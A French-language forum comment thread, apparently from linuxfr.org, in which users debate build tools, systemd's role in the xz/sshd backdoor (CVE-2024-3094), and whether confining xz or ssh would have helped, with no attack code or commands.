Autotools sont considérés comme obsolète par pas mal de monde, pour le coup. Et a juste raison. Je fais partie des gens qui ont essayé, et qui ont pris leurs touches de clavier à leur cou.
Cmake est largement moins mauvais, et permets même de remplace make par ninja d'un claquement de doigts (c'est pratique, parce que ninja, contrairement à make, sait vraiment gérer le parallélisme, je n'ai jamais eu de logs qui se mélangent avec, alors qu'avec make…).
C'est plus ou moins le standard de fait, bien que, certes, Meson soit aussi assez populaire (probablement parce que python).
Quant aux écosystèmes des langages modernes… moi, ça m'agace prodigieusement de devoir me battre contre mes outils pour qu'ils n'aillent pas télécharger la moitié du grand nain ternet. Je suis un vieux con, je suppose.
[^] # Re: Combo glibc/systemd
Posté par barmic 🦦 . Évalué à 3.
Il n'y a pas beaucoup d'options :
Après je ne connais pas d'ecosystème qui n'aient pas des gens minimalistes qui travaillent d’arrache pied pour gagner chaque octet, mais je ne connais pas d'écosystème dans ce que ce type de personnes produit soit populaire, mais ça existe et tu n'a pas besoin de te battre pour t'en servir.
https://linuxfr.org/users/barmic/journaux/y-en-a-marre-de-ce-gros-troll
[^] # Re: Combo glibc/systemd
Posté par freem . Évalué à 3.
Avec un outil comme ninja par exemple? Officiellement, il faut pas l'écrire à la main, mais je fais ça pour mes projets perso. Alors certes, c'est pas porté (mais c'est portable, il suffit d'inclure un fichier que les gens modifierons selon leur système…) mais comparé aux "alternatives" (cmake, meson, make, etc), c'est… reposant.
[^] # Re: Combo glibc/systemd
Posté par freem . Évalué à 5. Dernière modification le 30 mars 2024 à 14:24.
J'ai du mal a voir le troll dans un ensemble d'informations vérifiées et clairement explicitée par le fameux mail qui informe, pour le coup.
Même si ça ne va pas plaire a tous, ça reste la vérité pure.
Bon, je ne doute pas que musl pourrais aussi avoir ses propres failles (c'est juste tellement moins utilisé, que c'est moins rentable a attaquer, je suppose), mais du côté systemd, ce n'est pas la première fois qu'il y a de sérieux problèmes de sécurité réseau qui y sont liés.
Et, oui, pour un init+watchdog, ça interroge.
init+watchdog, (et même d'autres fonctions je crois) parce que systemd n'est pas juste l'init, c'est aussi et surtout un watchdog/gestionnaire de services, et le PID2 est tout aussi critique que le PID1, donc l'argument de diviser pour réduire les problèmes de sécu potentiels est un peu foireux pour moi (mais! ça permets d'avoir runsvdir qui tourne sans avoir a être suid ou lancé par root).
Puisque je répond a un essai de troll, je me permets d'ajouter que, oui, je trouve ennuyeux que les systèmes d'authentification utilisent des bibliothèques dynamiques (i.e. PAM) au lieu d'avoir un daemon qui file les descripteurs de fichiers via AF_UNIX comme le font plan9 ou OpenBSD (enfin, c'est ce que j'ai compris).
Vu que je n'ai pas lu en grands détails le descriptif de la faille, je suis probablement à côté de la plaque, et vu que je tape un peu n'importe ou, ça me fait 2 bons gros points de troll :)
[^] # Re: Combo glibc/systemd
Posté par Misc (site web personnel) . Évalué à 4.
Tu veux parler de sssd ?
[^] # Re: Combo glibc/systemd
Posté par freem . Évalué à 2.
Non, de BSDauth
# Confinement
Posté par Eric . Évalué à 2. Dernière modification le 31 mars 2024 à 08:33.
Un confinement de l'application XZ (ou de SSH) pourrait-il protéger nos systèmes de ce type de malware ?
(Par exemple, un snap en mode strict ? ou autres ?)
[^] # Re: Confinement
Posté par Misc (site web personnel) . Évalué à 6.
Non pour ssh dont le but est quand même de lancer des processus arbitraires avec des permissions arbitraires, oui pour xz, mais c'était pas le vecteur d'attaque principale.
[^] # Re: Confinement
Posté par Psychofox (Mastodon) . Évalué à 3.
La librairie peut être embarquée dans une moultitude de trucs, y compris des applications proprios, des jeux, etc. Elle est distribuée sous licence BSD zero attribution, c'est ce qu'il y a de plus proche du domaine publique, donc n'importe qui peut l'utiliser sans avoir à le mentionner.
C'est donc compliqué.
# Toujours la faute à systemd
Posté par Benjamin Henrion (site web personnel) . Évalué à -3.
"Toujours la faute à systemd :)"
Ce n'est pas comme si certains avaient averti:
https://i.imgflip.com/md328.jpg
# Et maintenant...
Posté par Eric . Évalué à 3.
« Suite à l'incident de la porte dérobée sshd/xz (CVE-2024-3094), une discussion importante sur les vulnérabilités liées à systemd a émergé.
Cette bibliothèque, essentielle pour intégrer les services avec systemd, présente des risques de sécurité dus à ses dépendances. Pour minimiser ces risques, il est proposé de réduire les dépendances de libsystemd à libc uniquement.
Lennart Poettering a souligné des changements récents pour atténuer ces inquiétudes.
Il est également question d'exposer les informations de chargement dynamique de manière transparente. Cette proposition encourage la collaboration des acteurs de l'écosystème Linux pour renforcer la sécurité du système. »
Source : https://linuxiac.com/after-a-recent-ssh-vulnerability-systemd-reduces-dependencies/
[^] # Re: Et maintenant...
Posté par Eric . Évalué à 3.
GitHub Issue #32028
Suivre le flux des commentaires
Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.